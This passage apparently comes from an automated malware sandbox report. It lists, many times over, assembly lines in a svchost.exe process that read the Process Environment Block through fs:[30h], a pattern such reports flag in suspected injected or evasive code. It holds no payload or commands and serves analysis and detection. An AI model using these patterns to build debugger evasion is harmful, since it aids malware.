Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]	1_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]	1_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105283 mov eax, dword ptr fs:[00000030h]	1_2_03105283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306329E mov eax, dword ptr fs:[00000030h]	1_2_0306329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306329E mov eax, dword ptr fs:[00000030h]	1_2_0306329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]	1_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]	1_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0 mov eax, dword ptr fs:[00000030h]	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0 mov eax, dword ptr fs:[00000030h]	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0 mov eax, dword ptr fs:[00000030h]	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0 mov eax, dword ptr fs:[00000030h]	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F92A6 mov eax, dword ptr fs:[00000030h]	1_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F92A6 mov eax, dword ptr fs:[00000030h]	1_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F92A6 mov eax, dword ptr fs:[00000030h]	1_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F92A6 mov eax, dword ptr fs:[00000030h]	1_2_030F92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C72A0 mov eax, dword ptr fs:[00000030h]	1_2_030C72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C72A0 mov eax, dword ptr fs:[00000030h]	1_2_030C72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B92BC mov eax, dword ptr fs:[00000030h]	1_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B92BC mov eax, dword ptr fs:[00000030h]	1_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B92BC mov ecx, dword ptr fs:[00000030h]	1_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B92BC mov ecx, dword ptr fs:[00000030h]	1_2_030B92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0 mov eax, dword ptr fs:[00000030h]	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030392C5 mov eax, dword ptr fs:[00000030h]	1_2_030392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030392C5 mov eax, dword ptr fs:[00000030h]	1_2_030392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	1_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	1_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B2D3 mov eax, dword ptr fs:[00000030h]	1_2_0302B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305F2D0 mov eax, dword ptr fs:[00000030h]	1_2_0305F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305F2D0 mov eax, dword ptr fs:[00000030h]	1_2_0305F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED mov eax, dword ptr fs:[00000030h]	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031052E2 mov eax, dword ptr fs:[00000030h]	1_2_031052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF2F8 mov eax, dword ptr fs:[00000030h]	1_2_030EF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030292FF mov eax, dword ptr fs:[00000030h]	1_2_030292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov ecx, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F0115 mov eax, dword ptr fs:[00000030h]	1_2_030F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060124 mov eax, dword ptr fs:[00000030h]	1_2_03060124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03031131 mov eax, dword ptr fs:[00000030h]	1_2_03031131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03031131 mov eax, dword ptr fs:[00000030h]	1_2_03031131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B136 mov eax, dword ptr fs:[00000030h]	1_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B136 mov eax, dword ptr fs:[00000030h]	1_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B136 mov eax, dword ptr fs:[00000030h]	1_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B136 mov eax, dword ptr fs:[00000030h]	1_2_0302B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105152 mov eax, dword ptr fs:[00000030h]	1_2_03105152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov ecx, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029148 mov eax, dword ptr fs:[00000030h]	1_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029148 mov eax, dword ptr fs:[00000030h]	1_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029148 mov eax, dword ptr fs:[00000030h]	1_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029148 mov eax, dword ptr fs:[00000030h]	1_2_03029148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03037152 mov eax, dword ptr fs:[00000030h]	1_2_03037152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C156 mov eax, dword ptr fs:[00000030h]	1_2_0302C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]	1_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]	1_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172 mov eax, dword ptr fs:[00000030h]	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C9179 mov eax, dword ptr fs:[00000030h]	1_2_030C9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03070185 mov eax, dword ptr fs:[00000030h]	1_2_03070185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]	1_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]	1_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03087190 mov eax, dword ptr fs:[00000030h]	1_2_03087190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E11A4 mov eax, dword ptr fs:[00000030h]	1_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E11A4 mov eax, dword ptr fs:[00000030h]	1_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E11A4 mov eax, dword ptr fs:[00000030h]	1_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E11A4 mov eax, dword ptr fs:[00000030h]	1_2_030E11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304B1B0 mov eax, dword ptr fs:[00000030h]	1_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]	1_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]	1_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306D1D0 mov eax, dword ptr fs:[00000030h]	1_2_0306D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306D1D0 mov ecx, dword ptr fs:[00000030h]	1_2_0306D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031051CB mov eax, dword ptr fs:[00000030h]	1_2_031051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030551EF mov eax, dword ptr fs:[00000030h]	1_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030351ED mov eax, dword ptr fs:[00000030h]	1_2_030351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031061E5 mov eax, dword ptr fs:[00000030h]	1_2_031061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030601F8 mov eax, dword ptr fs:[00000030h]	1_2_030601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A020 mov eax, dword ptr fs:[00000030h]	1_2_0302A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C020 mov eax, dword ptr fs:[00000030h]	1_2_0302C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F903E mov eax, dword ptr fs:[00000030h]	1_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F903E mov eax, dword ptr fs:[00000030h]	1_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F903E mov eax, dword ptr fs:[00000030h]	1_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F903E mov eax, dword ptr fs:[00000030h]	1_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032050 mov eax, dword ptr fs:[00000030h]	1_2_03032050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D705E mov ebx, dword ptr fs:[00000030h]	1_2_030D705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D705E mov eax, dword ptr fs:[00000030h]	1_2_030D705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B052 mov eax, dword ptr fs:[00000030h]	1_2_0305B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105060 mov eax, dword ptr fs:[00000030h]	1_2_03105060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov ecx, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041070 mov eax, dword ptr fs:[00000030h]	1_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305C073 mov eax, dword ptr fs:[00000030h]	1_2_0305C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AD070 mov ecx, dword ptr fs:[00000030h]	1_2_030AD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303208A mov eax, dword ptr fs:[00000030h]	1_2_0303208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D08D mov eax, dword ptr fs:[00000030h]	1_2_0302D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03035096 mov eax, dword ptr fs:[00000030h]	1_2_03035096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D090 mov eax, dword ptr fs:[00000030h]	1_2_0305D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D090 mov eax, dword ptr fs:[00000030h]	1_2_0305D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306909C mov eax, dword ptr fs:[00000030h]	1_2_0306909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F60B8 mov eax, dword ptr fs:[00000030h]	1_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov ecx, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov ecx, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov ecx, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov ecx, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0 mov eax, dword ptr fs:[00000030h]	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031050D9 mov eax, dword ptr fs:[00000030h]	1_2_031050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AD0C0 mov eax, dword ptr fs:[00000030h]	1_2_030AD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AD0C0 mov eax, dword ptr fs:[00000030h]	1_2_030AD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B20DE mov eax, dword ptr fs:[00000030h]	1_2_030B20DE
